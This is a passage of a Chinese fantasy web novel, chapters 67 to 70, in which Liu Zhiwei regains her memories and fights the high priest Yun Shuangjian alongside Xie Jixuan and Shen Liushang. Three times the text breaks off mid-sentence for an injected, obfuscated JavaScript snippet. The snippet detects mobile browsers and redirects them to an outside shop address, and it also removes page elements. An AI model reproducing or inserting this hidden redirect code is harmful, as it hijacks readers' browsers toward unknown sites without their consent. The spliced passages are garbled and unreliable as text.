有时候柳知微会想,如果当初没有吸收花神元灵,一切是不是就不会那么快?静时姐姐、瑶姬大人,她们是不是就不会死,还有时间去找别的办法? 可如果她不吸收花神元灵,她还会那么喜欢圆圆吗?洛闻瑛逼迫自己往前去,不给这个问题留下心思。 该怎么办呢? 柳清圆的身体已经坏了,沈流商也不在。 她得自己想办法了。 洛闻瑛试着喊沈流商的名字,试图调动一丝灵力联络他,可如今她的身体只是肉体凡胎。这是她曾经向往的,成为一个人,融入苍生。可现在,这身体只让她焦头烂额,像只无头苍蝇般乱撞。 “沈流商!师哥!素鳞!” 她甚至喊出曾在楼静时心念里听过的称呼,可沈流商没有回来。 洛闻瑛真的只剩自己了。 若知师姐会来,她怎么舍得就这样死去?早该换一种方式,让最后的模样好看些。 楼静时几乎把自己的意志完整地交给了洛闻瑛,包括她的记忆,她的想法。洛闻瑛被瑶姬带回姑媱山时,便触碰到了楼静时留下的那株花。 楼静时在离开后,终于不用再死守作为祭司的规矩,将一切诉诸于口。 柳知微能看到楼静时嫁入凌霄神殿后的日子。静时姐姐在殿中日日学礼仪,等待凯旋的夫君,最终等来的却是歇战死的消息,他们甚至未曾谋面,而后大祭司下令,静时需为歇殉葬。 可真正的缘由是,她发现了大祭司在炼化幽煞,那是本该被封印的禁忌之力。追根溯源,当初揭开龙族消散真相的人,竟是云霜简,但是他又杀了所有与他相争的灵族,将一切掩埋下去。而后如同瑶姬一般,他亦想善加利用,并妄图以此法造出一位新神。 不过与瑶姬只想保住灵族不同,这位大祭司要造的神,是他自己,云霜简想要取天道而代之。 于是实验开始了,他早在九幽埋下据点,势力早已渗透魔族,花神陨落也是他一手设计的。他想借那道彼岸结界的力量,稳固自己对灵族的统治,借他之手与外界有了千丝万缕的联系,从而加快了沈流商与谢济泫的相遇。 这凌霄殿统治的这千万年间,大部分灵族自然转化成“祂”,那是最最原始的自然之力,也是所有灵族陨落之后的归处。 然而因为云霜简的一己之私,本应消散的他们却又被他强行重塑成别的东西,这看似是拯救,灵族看着仍是灵族,实则不过是他掌中的死士,意识由他牵动,空留记忆,却再无自我。 67. 一将功成万骨枯 这消息若传出去,瑶姬必与他决裂。大祭司忌惮至此,便处死了窥探自己秘密的楼静时。 可姑媱山的那株花还在。 只是这一缕心念,只有洛闻瑛能感知,在湮灭之际,楼静时将所有都告诉了洛闻瑛。 柳清圆的身体被她平放在花树下,蓝花楹铺成一片,渐渐要将她覆盖住。风簌簌地吹,花簌簌地落,落在她苍白的脸上。 洛闻瑛俯身,伸手碰了碰她。 眼睛那里还在渗血,浸透了覆在眼上的布条,染成惊心的深红。她怔怔看着,忽然想起很久以前自己五感尽失那段日子,因为畏惧天光,她也是这样,终日以一条红绸覆眼。 柳清圆安静地躺着,眉眼舒展,像是睡着了。可柳知微知道,这具身体已经空了。 “师姐……”她哑着嗓子喊了一声,眼眶却湿润了,又勉强憋回去。 不能哭,哭了就看不清她了。 洛闻瑛俯下身,抵住她的额头。 “师姐,你教教我怎么做好不好?”她的声音在两个人之间响起,“殉情是件麻烦事啊……” 话没说完,眼泪就砸了下来,落在柳清圆苍白的脸上。 她慌了,伸手去擦,却越擦越多,索性不擦了,只是紧紧抱住师姐,把脸埋进柳清圆颈窝里,肩膀一抽一抽地抖。 蓝花楹还在落,花瓣渐渐覆住两个人。 不知道过了多久,洛闻瑛的哭声渐渐止住。她抬起头,眼睛红肿着,却直直地看着柳清圆,转瞬破涕为笑。 她轻轻点了点柳清圆的鼻尖,又像哄小孩儿似的,在她脸颊上亲昵地蹭了两下,左边一下,右边一下。 “我晓得的,圆圆一定是爱漂亮,不想让人看见这副模样。” 洛闻瑛闭上了眼,然后缓缓解开了柳清圆脸上遮掩的布条。她不敢看,只能用手指代替眼睛,一寸寸地抚过柳清圆的脸庞。眉是山,眼是水,山横水聚处,她不敢问归程。 【思其容貌,忆其声息,于心尖细细描画她模样,想着你心中最想见之人。】 莫名地,洛闻瑛耳边响起一个古老又苍凉的声音。 【念出她的名字,然后醒来吧。】 不,这声音并非凭空而来,那是她现在亲耳听到的……是师父的遗言,留给她的最后遗言。 “柳……清圆?” 【宿主大大,做得很好哦,为宿主大大打call~(′▽`)?】 柳知微的意识忽然接通,像是一脚踏进了某个模糊的过去,刹那之间不知今夕何夕。她缓缓沉入“洛闻瑛”的记忆,喉间微微发颤:“芝麻?” “师父……你是师父吗?” 没有回应了。 原来这才是钥匙,此刻柳知微识海中的禁制完全解开了。 神识铺开的那一瞬,她能听见蜂飞虫动之渺渺微声,她能看见百里外草絮因风而起,天地静了一息,然后在她眼里活了过来。 风拂过,无数细密的裂纹在虚空中蔓延,结界正在碎裂。 柳知微笑了,眼泪还挂着,笑意却从眼底漾开。她俯下身,再一次描画着柳清圆的轮廓,光从她的掌心溢出,流进柳清圆的身体。 经脉在愈合,五脏在重塑,那些破碎的部分正被温柔地修补,柳清圆的脸色渐渐泛起血色。 “圆圆,”柳知微凑在她耳边,声音又轻又软,“该醒了。” 结界轰然破碎。 蓝花楹的花瓣被气浪卷起,纷纷扬扬洒向天空。柳知微直起身,将柳清圆护在身后,抬眼看向来人。 花雨中,一道身影踏着满地落英缓缓走来。 楼夫人,楼云缨。 她穿着一身绛紫长袍,衣摆拖曳过花丛,却沾不上半点花瓣,她的眉眼间少了以往的温婉,多了几分凌厉与算计。 “知微,”她停在十步之外,脸上还挂着虚假的慈爱的笑,“总算找到你了。” 柳知微没动,只是静静看着她。 “这些日子苦了你了,”云缨的目光从她身上掠过,落在她身后的柳清圆身上,眼底闪过冷意,“把清圆给我吧,我来照顾她。” 柳知微没有回应她的话,只是冷声道:“你为什么会在这里?我的识海可不容许叛徒探入。” 云缨的笑容顿了顿,随即又更深了些:“知微,你现在的记忆还很混乱,怕是分不清谁是真的对你好。我是你姨母,是雁雁的娘亲,你该知道我不会害你。” “是啊干娘,你也该来了。” “那我倒想问问姨母,”她歪了歪头,语气天真得像是在撒娇,“你身上这股味道,是从哪儿来的?” 云缨的笑容凝固了。 “大王花。”柳知微语气加重了说,却字字清晰,“真奇怪,我怎么一闻见就想吐呢?” 她抬起眼,眼底的温和褪得干干净净,只剩下一片冷冽的光。 “云缨姑姑,您闻着真是让人反胃得很呐。” 云缨的脸色变了,不见慌张失措,也不见阴谋被戳穿的窘迫,她就那样看着柳知微,带着诡异的兴奋与好奇。 “你居然想起来了?呵呵,那我们好好算算旧账吧。” “反胃?”她重复着这两个字,像是在品味什么,“瑛瑛,你怎么能反胃呢?” 柳知微眉头微蹙。 云缨往前走了两步,绛紫的衣袍拖曳过蓝花楹的花瓣,沙沙作响。她看柳知微的眼神变得很奇怪,像在看一个不懂事的孩子。 “那滋味,”她的声音轻飘飘的,“你应该比谁都熟悉才是。你忘了,你忘了自己都吃过什么。瑛瑛,你应当心里有数,现在我们谁也不怕谁了。” 风愈发狂暴,咆哮着席卷而过。 柳知微笑了,那笑容里有怜悯,有嘲讽:“小时候我听你的话,云缨姑姑,后来我也听你的话,楼姨母……” 她看着眼前这张脸,忽然想起很多年前。那时候她刚成为灵族,什么都不懂,云缨姑姑总是板着脸教她规矩。可每次她练累了,楼静时都会偷偷塞来鲜花饼,她知道那是云缨默许的。 那个云缨,会在她半夜做噩梦时推开房门,什么也不说,只是坐在床边,陪到她又睡着。 “姑媱山若出妖孽,便为死罪。”柳知微往前踏出一步,眼底凝聚出粉红色的花光,“您教我的,我都记着。” “云缨,领罪罢。” 回答她的是一道凌厉的紫光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576356|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柳知微将柳清圆的躯壳收进识海,侧身敏锐避开,紫光擦着她的肩掠过,在身后的花树上轰出一个大洞。蓝花楹的碎屑纷纷扬扬洒落,霎时光风炫转,紫英成雪。 “不错,还有些本事在,”云缨收回手,语气里带着一丝赞赏,“可惜你并无杀戮之能。” 她话音未落,第二道攻击已至。 这次柳知微没有躲。她抬手,指尖的光凝成一道屏障,将紫光尽数挡下。两股力量相撞,周围形成了一股强大的能量场。 “为什么要与凌霄神殿苟合?”柳知微盯着她,“为什么要背叛瑶姬大人?为什么要背叛姑媱山?” 云缨的动作顿住了。 她看着柳知微,目光复杂至极。 “背叛?”她重复这个词,忽然笑出声来,笑声越来越大,攻击猛然加重,“殿下,你以为是我在背叛?” 她停住笑,眼神变得凌厉。 “你果真幼稚至极,这是灵族的荣耀,也是瑶姬的遗志。是你昏了头,利用天火毁了姑媱山,毁了一切!” “苟合?”云缨的声音陡然拔高,“你以为凌霄神殿算什么?你以为我需要他们扶持?” 她逼近一步,绛紫的长袍猎猎作响。 “我别无所求,只求姑媱山!只求瑶姬大人的献祭没有白费!他们也不过……不过是想要一条活路,和我们有什么分别?可你呢?瑶姬大人亲手栽培你,你却亲手毁了姑媱山,你又配谈什么背叛?凌霄殿让我把姑媱山划成两脉,保灵族长盛不衰。凌霄殿做得,我凭什么做不得?” 柳知微看着她,心里忽然涌起一阵巨大的悲哀。 这个人,这个正对着她嘶吼的人,模样还是那副模样,眼神里却只有一种近乎狂热的执念。 她被控制了。 柳知微忽然明白了。这不是云缨,或者说,不完全是云缨。真正的云缨姑姑,或许已经被什么东西吞噬了。 “好受些了么,云缨姑姑?”她放软了声音,像是很多年前那样唤她。 那一瞬间,眼前人眼底的狂热褪去了刹那,露出一丝迷茫。她看着柳知微,嘴唇动了动,像是想说什么,然后她的脸开始变化。 眼角细密的皱纹爬上来,一道接一道,像干裂的地皮,饱满的肌肤开始塌陷,颧骨高高凸起,尤其恐怖的是她的嘴角向两边撕裂,露出森森的獠牙。 那是一张妖魔的脸。 丑陋,狰狞,苍老得像是活了几千年的怪物,唯独那双眼睛,还残留着一丝熟悉的影子。那是云缨姑姑的眼睛,此刻正透过那张可怖的脸,绝望地看着她。 “瑛瑛……不,你才是那背叛的人,你才是!” 话没说完,一道黑雾凭空出现,散发着腐朽的气息。它从虚空中涌出,还带着严霜的寒冷,瞬间封住了云缨的身体。 柳知微也未能幸免,那力量的余波只是轻轻擦过她的肩头,伤口便立刻开始腐烂,血肉一寸寸剥落,露出森然白骨。她却只是习以为常地看了一眼,随即伤口边缘泛起微光,转眼之间,肌骨愈合如初。 身后传来细微的动静。 柳知微回过头。 “小师妹,怎么不喊嫂嫂?” 68. 可怜无定河边骨 柳知微抬头看向来人。 依旧是那身蓝色衣装,他站在蓝花楹的花雨里,周身灵力却剧烈翻涌,时不时有妖气溢出来,在空气中凝成转瞬即逝的狰狞形状。 谢济泫向前一步。 她就往后退一步。 脚后跟踩进松软的花泥里,陷下去,又拔出来。柳知微知道自己不能退,可她控制不住。那些作为“洛闻瑛”活过的岁月里留下的恐惧,像刻进骨头里似的,她接触到浓重的死气时便会有一些不自在。 谢济泫停住了,他站在十步之外,没有再靠近,只是看着她。 “你师兄叫我来接你,莫怕,一切有我和你师兄在。” 这是她的识海里,千万年前的谢济泫。那时他已经和沈流商结为道侣,在长生天时为了勾引沈流商,他还悄咪咪地给洛闻瑛塞过兔子糖,两个人低山臭水遇知音,没少给怀崖整些幺蛾子出来。 “师兄他不会来的。”柳知微低声说。 谢济泫的眉头微挑,脸上浮现出困惑的神色,不明白她为何要说这样的话。 “他不会来,”柳知微重复道,声音稳了下来,“嫂嫂,别等了。” 透过记忆连接,柳知微说出了当时没来得及说出的话。谢济泫那次来接她,还一心一意地记着要给沈流商交差,但是真正的沈流商早就在祭阵以后落到了云霜简手里。而柳清圆作为阵眼,为躲避云霜简的耳目,就此自毁神魄,游离于三千小世界中,只待大阵完成,然后带他们回家。 谢济泫没有说话。 他只是站在原地,任凭蓝花楹的花瓣落满肩头。那些妖气还在从他身上溢出来,一缕一缕的,侵蚀掉他周围一小片花草。 良久,谢济泫捻起一瓣花,用法力包裹送出去,给柳知微一个个脑瓜崩儿,笑着说:“干嘛这么悲观,就算你师兄来不了,凭我也能护你周全。” 柳知微忽然有些想笑。这人还真是……不管变成什么样,骨子里那股执拗劲儿都改不了,相比之下,她更喜欢谢嘉豪的存在。 柳知微笑盈盈地望向他,眼中还含着泪:“好,全靠嫂嫂救我啦。” “再叫一声。”他仍是笑着。 柳知微一愣:“嫂嫂?” 谢济泫满意地点点头,然后“噗嗤”一声笑出来,整个人瞬间柔软了下来,先前那股无形的压迫感消散得干干净净。 他的目光从她脸上移开,手中光芒闪过,两把剑凭空出现,一把是落九天,而另一把通体墨黑,剑柄处刻着“祝东风”三字。 “带清圆师姐走吧,马上要乱起来了,”谢济泫说,“这里有我和你师哥。” 话音未落,天边传来一声巨响。 像是有什么东西在天地外狠狠撞了一下,整个小世界都抖了三抖。只见天际那道裂缝又扩大了几分,有什么东西正从裂缝里往里挤。 柳知微甚至没看清谢济泫是如何动作的,只看见那身蓝色衣袍在眼前一晃,下一瞬,他已经站在了她身前。 “去!” 柳知微还没反应过来,一道空间裂隙已在脚边撕开,瞬间将她吞了进去,柳知微会安然无恙地被送到长生天。 裂隙合上之时,那道黑雾终于挤进来了,纪双扉和纪春洲从黑雾中走出。 “你们感情真好,”纪双扉摇着扇子,自在地像在跟老朋友打招呼,“实在令人羡慕呢。” 谢济泫没有说话,他周身的妖力翻涌得更剧烈了,妖气几乎要压过灵气。那些妖气在他身后凝成虚影,隐约可见龙形的轮廓。 纪春洲瞧了他一眼,唇角微微扬起,笑里透出凉意:“啊呀呀,还是一条小龙崽子,哥哥,这可是一份大功啊。” 纪双扉顿了顿,语气慢悠悠的:“千年前凌霄殿上匆匆一瞥,龙族一时风光无限……吾主当日的叮嘱,您怕是也一并忘了吧?……''所谓真身,不可现于世间。龙族乃神罚之身,若露原形,必遭天谴。''” 他们是双生子,那同样温文尔雅的脸上满是谦和,话音落下便同时合上扇子,轻轻一敲掌心。 下一瞬,无数道黑气从他们身后涌出,化作万千利箭,铺天盖地射向谢济泫。 他并未有任何动作,然而那些黑气凝成的利箭便在距他三尺之处齐齐顿住,然后粉碎。 黑雾炸开,又迅速聚拢。 纪双扉和纪春洲的身影从黑雾中再次走出,脸上依旧挂着笑,只是那笑容有些僵硬。 “不愧是……”他们话说了一半,忽然顿住。 因为谢济泫已经到了他们面前。 两只手掐住了他们的脖子,把他们整个人提了起来,谢济泫的眼睛里已经没有半点属于人的温度,只剩下一片冰冷的金色。 “你的主子在哪儿?”他问。 “你……想知道?”他们的声音从喉咙里挤出来,断断续续,“那就……杀了我……杀了我,你就……知道了……” 谢济泫的手指收紧。 纪双扉和纪春洲的脸涨成青紫色,可他们还在笑,笑得越来越诡异。 就在此时,一道更浓烈的黑雾从天而降,直直砸向谢济泫。 谢济泫松手闪避,纪双扉他们跌落在地,捂着脖子剧烈咳嗽。那道黑雾却没有追击,而是停在他们身前,缓缓凝成一个身影。 云霜简那张脸早已烂得不成样子,皮肉翻卷脱落,露出底下森白的骨头,当年天火烙下的伤疤和受反噬而生的魔纹狰狞地覆盖住他的面容。 他伸出手按在纪双扉兄弟二人头顶。他们浑身一颤,眼中闪过一丝极其短暂的恐惧,最终只剩下空洞的顺从。 他们的身体开始发光。 幽绿色的荧光顺着他的经脉流淌,从云霜简按在他头顶的那只手开始,汇入他的四肢百骸,他的脸开始扭曲了。 同时,无数黑雾自裂隙中涌出,化作妖兽精怪,向四面八方蔓延,疯狂撕咬着视线所及的一切活物。几道凌厉的煞气柱自天而降,直取谢济泫。 谢济泫干脆道:“都来吧,一了百了。” 纪双扉兄弟二人化作两道黑光冲他而来,而云霜简则引导着恶煞阵与其应和,无数漆黑咒文锁链拔地而起,企图困住谢济泫。 空中两道身影撞在一起,周围的空气都被撕裂,发出尖锐的爆鸣声。蓝花楹的花树连根拔起,卷入半空,又被狂暴的妖力绞成齑粉。 沈流商踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576357|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着夜色赶到时,他还是顶着那只猫儿的模样,挥舞着猫爪靠近谢济泫。 金瞳在暗处灼灼生光。扑面而来的煞气无比浓烈,激得他浑身毛发根根炸起,沈流商顿住脚步,踌躇着如何靠近。 谢济泫没有回头,只轻轻勾了勾手指。 下一瞬,猫已落在他肩头。对面的攻击又凶又急,他却还分出一缕心神来蹭了蹭沈流商的脸颊,软声开口,像撒娇,又像庆幸。 “我晓得你放不下我。夫君,你不在他们都欺负我!” 面容扭曲的纪双扉兄弟和云霜简:“……………” 对方的攻击越发凶悍,几乎招招都是夺命的杀招,然而身处风暴中心的谢济泫,却显得游刃有余。 柳知微不知道的是,其实谢济泫和沈流商也进入了她的识海,现在的他们便是现实的他们,知道洛闻瑛就是柳知微的他们。 沈流商没空理会他的调侃,他能感受到,从同心契另一端汹涌而来的,谢济泫体内那种撕裂般的痛楚。太清晰了,仿佛他前世濒死之际那般的痛苦。 谢济泫是在强撑着。 他不知谢济泫究竟付出了什么代价冲破灵窍封印,即便有靥的神格护体,似乎也已快要压不住他化妖的趋势了。 “听我说,”他的声音在谢济泫脑海中响起,又急又乱,“解开同心契,你先出去,瑛瑛的封印我可以解决,我一定要补好她的识海禁制。” “相信我,只要……” 谢济泫只是笑了笑,没有回应。血迹顺着嘴角淌下,他抬手,漫不经心地抹去。 “只要让你死在大阵里,让你加固所有人的识海禁制,让你亲手抹除自己的存在,让你一个人扛下所有烂摊子,然后再让我亲眼看着你献祭于阵中,看着你再死一次?”谢济泫吼道,“素鳞,你有为我想过吗?” 原本的结局里,谢济泫满心欢喜地回到长生天,与那一道假身长相厮守。 直到那一场天火降世,沈流商留下的那一抹神识再也支撑不住,在长生天坍塌之时,在谢济泫眼前消散。 然后谢济泫获得了完整的神格,成了九幽真正的神。他引渡了龙族幽魂,代替那座彼岸桥治理着幽都,还九幽一片安宁,从此不死不灭地过着。 最终,在这一个小世界柳清圆即将成功、大阵即将成形之时,沈流商终于随着大阵而重现于世。谢济泫循着那一点魂魄的气息,追随到这个小世界来,成了那个神志不清的阿济。 沈流商不知道该说些什么。 “轰”地一声巨响。 只见谢济泫被那道黑光击飞,砸穿了十几棵花树,最后撞在一块山石上,把那山石撞得粉碎。他挣扎着爬起来,呛出一口血来,可那双眼睛依旧是金色的,冷得吓人。 沈流商周围撑开一道灵障,光晕流转间,将尘世所有纷扰与浊气,都温柔地挡在了外面。 对面的攻击没有停下。 无数黑雾化作光束穿透谢济泫的身体,随即生出锋利的尖刺。云霜简抬起手,那些尖刺便刮下谢济泫的皮肉,鲜血与碎肉一同坠落,沾染着翻涌的黑气。与此同时,云霜简脸上那些可怖的伤痕,正一点点转移到谢济泫脸上。 69. 我花开后百花杀 沈流商的脑海中有一瞬空白。那道灵障将他隔开,护在其中,因着这一层隐蔽,云霜简没有对他下手的机会。 谢济泫仍在勉力指引龙影与那些黑雾缠斗,那龙影几乎要将黑雾完全吞噬,可就在这一瞬间,龙影散了。 [哈哈,成了成了!这个蠢货,讨厌我,却肯为你这种人舍身!你这么无能,这么弱小,他真是瞎了眼看上你!] [明明我也是靥的一部分,凭什么他们都喜欢你?我承载了靥与他所有的记忆,不过是因为他把那缕执念还给了你,你才拥有了那些零碎的记忆!他凭什么喜欢你?他该死!他该死!] “闭嘴!闭嘴……” 沈流商拼尽全力冲撞那层灵障,眼眶中已渗出鲜血,却毫无用处。 谢济泫却忽然笑了。 “你说得对。” 云霜简的动作顿了一瞬:“你说什么?” “你就是那么讨人厌,”谢济泫的嘴角还带着血,语气却轻描淡写地,“流商就是那么讨人喜欢,我就是喜欢他,我就是不喜欢你。” 他盯着云霜简的眼睛,像要穿透那层瞳仁,直直剜进深处操控一切的那道阴面,唇齿间一字一字碾出来:“你、最、该、死。” 谢济泫周身的金光骤然炸裂,将那些光束彻底碾成齑粉。磅礴的黑气翻涌而起,瞬间吞没天地,龙身显现,在云霄间腾挪蜿蜒。一只猫儿稳稳趴在他的龙角之上,随即一翻身,沈流商化出人形,双目已是一片猩红,翻涌着滔天怒意。 与此同时,那道阴面的声音渐渐弱了下去,却借着云霜简的身体,仍在不甘地嘶吼。 “怎么可能!这是我的力量!你做了什么,竟能将我剥离你的灵识?不可能,不可能,你只能受我控制……” 那声音持续咆哮着,他操控着云霜简的身体胡乱打出攻击。云霜简的面色惨白扭曲,似乎正与体内的那道意识争夺着身体的控制权。他周身的力量骤然衰减,那些妖兽与精怪的动作也随之变得迟缓。 “怎么不可能?” 一道明艳的女声破空而来。 那正是千万年前的柳清圆真身,柳知微改变了那道传送轨迹,解除了柳清圆真身藏匿之处的封印,将她带到了这里来。 “师兄,这可是我的识海记忆,你们闯进来,还真以为能瞒过我?”柳知微牵着她的手,终于绽开了笑颜。 刹那间,天穹为之一清。 柳清圆衣袂翻飞,凌空而起,如当年一般踏碎流光。柳知微眼中骤然亮起粉红色花光,霎那间灵力如潮水般灌入谢济泫他们的体内,周围的蓝花楹感受到了灵力,疯狂蔓延着,枝条挥舞着扑向云霜简的身体。 云霜简总算压下来那道阴面,他脸上的伤疤逐渐被他用灵力掩盖下去,露出那副仙人一般的伪装,他那双淡蓝色的眼眸里翻涌着滔天怒火。 沈流商立于飞跃的龙身之上,抬手虚握,天地灵气骤然汇聚,于掌心凝成本命灵剑落九天,剑身流光溢彩,锋芒直指九霄。 而就在他们其下,一声清越龙吟撕裂长空。 谢济泫没有再隐藏自己,龙身破云而出,鳞甲映日,一呼一吸间风云翻涌。他没有回头,只以龙尾轻轻环住沈流商所在的那方天地,将他护得滴水不漏。而后他汇集自己全部灵力,那光自龙嘴间迸发,璀璨胜日,直直向着云霜简轰然砸落。 三人各立苍穹一隅,一龙盘踞云海之巅。剑锋腾踏绕霜花,天上人间均一是,回首相看,万年不改青山色。 然而在这一刹那,漩涡中心的云霜简却看向了柳知微,眼底闪过一丝兴味:“天道之女?” “果然是你。”云霜简笑了,那笑容让人脊背发寒,“我找了你很久。” “你以为就凭你们几个,杀得了我?” 柳知微歪了歪头,神色天真,眼底却无半分笑意:“老爷爷,闭眼的时候记清了……” “这,就是群像的魅力~” 攻击砸下来的瞬间,他并没有躲开,反而主动迎着那道攻击冲上去的。灵力炸开,血肉横飞,他抬头,挑衅地对上了沈流商的目光,扯了扯嘴角。 沈流商立于龙身之上,落九天在手,剑光如匹练横扫而下。 谢济泫的龙身与他配合默契,龙尾扫荡之间,将云霜简周身退路尽数封死。剑锋与龙息交错落下,织成一张密不透风的杀网。 可云霜简只是站在那里,他随手一挥,那些被操控的妖兽与精怪便如潮水般涌上前来,前赴后继地撞向那道剑网,用自己的身体将攻势一层层消解。血肉横飞间,更多的黑影从四面八方涌来,竟似无穷无尽。 谢济泫的龙身被数头巨型妖兽缠住,那龙尾原本护着沈流商的那方天地,此刻不得不抽回来扫开那些攀附上来的黑影。鳞甲被撕扯出深深的抓痕,鲜血如雨洒落。 沈流商咬牙,剑锋一转,削去一头扑向龙颈的妖兽头颅,却见更多的黑影已经借着他分神的瞬间,从侧翼包抄过来。 “师兄!”柳知微催动花木草灵,漫天枝条如鞭子般抽落,那些落下的花瓣都成了锋利的刀刃,将那些黑影抽得粉碎。可她的灵力在方才传送柳清圆真身时已经消耗大半,此刻蓝花楹的花光渐渐黯淡,枝条伸展的速度也慢了下来。 纪氏兄弟不知何时已被黑气侵蚀了神智,纪双扉手持长刀,刀光冰冷,每一刀都直取沈流商的要害,而纪春洲则从另一侧迎上,掌风中夹杂着腐蚀性的黑雾。 沈流商被迫分神应对,落九天的剑势陡然一滞。 云霜简终于动作了,但他没有攻向其他人,他的目标从一开始就是柳知微。 一道黑气如毒蛇般无声窜出,绕过了所有人的视线,从柳知微背后的死角骤然暴起。 “知微!” 柳清圆最先察觉,她动手收回那些傀儡丝线,抬手全力打出一道灵光,却被云霜简随手一掌拍散。那黑气已然缠上了柳知微的脚踝,猛地一拽,将她从蓝花楹的枝头拖了下来。 柳知微反应极快,落地瞬间便结出一道防御结界,粉红色的花光在身周炸开,将那道黑气暂时弹开。可她的脸上已经呈现出血傀术的反噬,身体隐隐泛出淡蓝色的裂纹。 “小心!”沈流商忽然喊了一声。 众人循声望去,只见云缨不知何时已经被黑气完全侵蚀,双目一片漆黑,正缓缓向柳知微逼近。她手中握着那柄骨刃,刃口泛着幽冷的黑光,一看便知附着了极强的诅咒之力,那是她先前从柳知微手中夺过的。 柳知微咬了咬牙,催动所剩无几的灵力,那些草木花灵拼尽全力缠住纪氏兄弟和云缨,为沈流商和谢济泫争取时间。谢济泫的龙息再度凝聚,璀璨的金光与黑气正面冲撞,震得整片识海空间都在剧烈颤抖。 但云霜简太强了,千万年的淬炼,还有吸纳灵族之力,让他恢复到了全盛时期的实力。 而他当初炼化了沈流商的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576358|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半神魂,炼就了一道阴面,而那道阴面与谢济泫的灵识纠缠了千万年,对谢济泫的每一招每一式都了如指掌,比起谢济泫这个被推上位的幽都之神,原本的彼岸结界的神魂在炼化之后具有更强大的幽煞之力。 他轻松避开了谢济泫的致命一击,反手一掌将龙身拍出数丈,谢济泫撞碎了半座山壁,护心龙鳞碎裂的声音无比刺耳。龙影彻底消散,谢济泫现在脸上不仅布满了妖纹,云霜简之前施法将他的脸也变为了那副被火烧焦的模样,那是云霜简曾经在天火中被烧灼的痕迹。 沈流商接住被弹飞的柳知微,两人踉跄后退,几乎要站不稳。 “师兄,我们可能要跑了……”柳知微喘着气,血从嘴角淌下来,“根本打不过。” “都怪我……暂且先避一下,因为大阵设下的禁制,你们的法力都受到了压制,我已经下咒解开禁制了,不过还需要撑一炷香的时间。”沈流商沉声道。 柳知微苦笑了一下:“一炷香的时间……师兄,你觉得他会给我们这个机会吗?” “跑?”云霜简一步步走来,从容不迫,“你们跑得掉吗?” 他抬手,黑气在掌心凝聚成一根根细如发丝的针,密密麻麻,铺天盖地刺向柳知微。 “瑛瑛,退后!”柳清圆拼命催动灵力,在柳知微身前筑起一道屏障,然而云霜简却得逞似的一笑,那些针都化作黑水渗入了柳清圆法术垒起的那道屏障之内,然后柳清圆猛地吐出一口黑血来,屏障瞬间破碎。 就在千钧一发之际,云缨狰狞的面目忽的和缓起来,眼中闪过一丝清明,全力牵引住了那又一波黑针,让它停滞了片刻。 她手中的骨刃猛然转向,狠狠扎进了自己的左肩,鲜血喷溅而出。 “云缨姑姑!”柳知微失声喊道。 云缨的嘴唇在颤抖,眼眶里涌出泪水,她的身体还在被黑气操控着,右臂不受控制地抬起骨刃,又要刺向柳知微,可她死死地用左手按住自己的右手,血沿着手腕往下滴。 “走……快走……”她的声音沙哑而破碎,“我撑不了多久……” “你……” “走啊!” 云缨拼尽最后一丝清明,猛地转身,用自己的身体撞向那片黑针,她的脊背上瞬间绽开无数血点,整个人像断了线的木偶般向前踉跄了几步,却仍然张开双臂,挡在柳知微身前。 云霜简皱了皱眉,似乎没料到被完全控制的东西还能挣脱,他抬手要加重黑气的侵蚀,云缨的身体剧烈颤抖起来,血肉之躯上青筋暴起,像是在承受着灵魂被撕裂的痛苦。 “师兄!”柳知微一把拽住沈流商的手腕,“我有办法了,只是要劳烦你出去之后,要好好照顾师姐她们了……” 沈流商心中涌起剧烈的痛苦,他看着柳知微坚定的目光欲言又止,最终点了点头。 “对不起了……”柳知微的声音很轻,她转身闭上眼睛,开始强行关闭识海。 沈流商的落九天化作漫天剑影,将她和柳清圆护在中央。谢济泫直接剖出有些破碎的护心鳞,筑起一道坚固的外围,挡住纪氏兄弟和那些疯狂涌来的妖兽,金光与黑气交织,龙吟声里已经带上了悲怆的嘶哑。 柳知微的灵力已经见底,她能感觉到云霜简的视线正死死锁在她身上,那道阴面的力量正在疯狂冲击谢济泫的防线。 “小妹妹,”云霜简的声音像从地狱里传来,“你以为跑得掉吗?” 70. 无可奈何花落去 “天真。”云霜简冷笑一声,周身的黑气暴涨,向四面八方伸展,打算将所有人的意识都锁在里面。 柳知微甩开了沈流商的手。 “知微?!”沈流商的瞳孔骤然收缩。 所有人都在那一刻愣住了。 柳知微站在那里,浑身是血,灵力几乎枯竭,丹田碎裂的声音响起。 “你以为我要跑?”她看向云霜简笑起来,“那你就太小看我了。” 她闭上了眼睛。 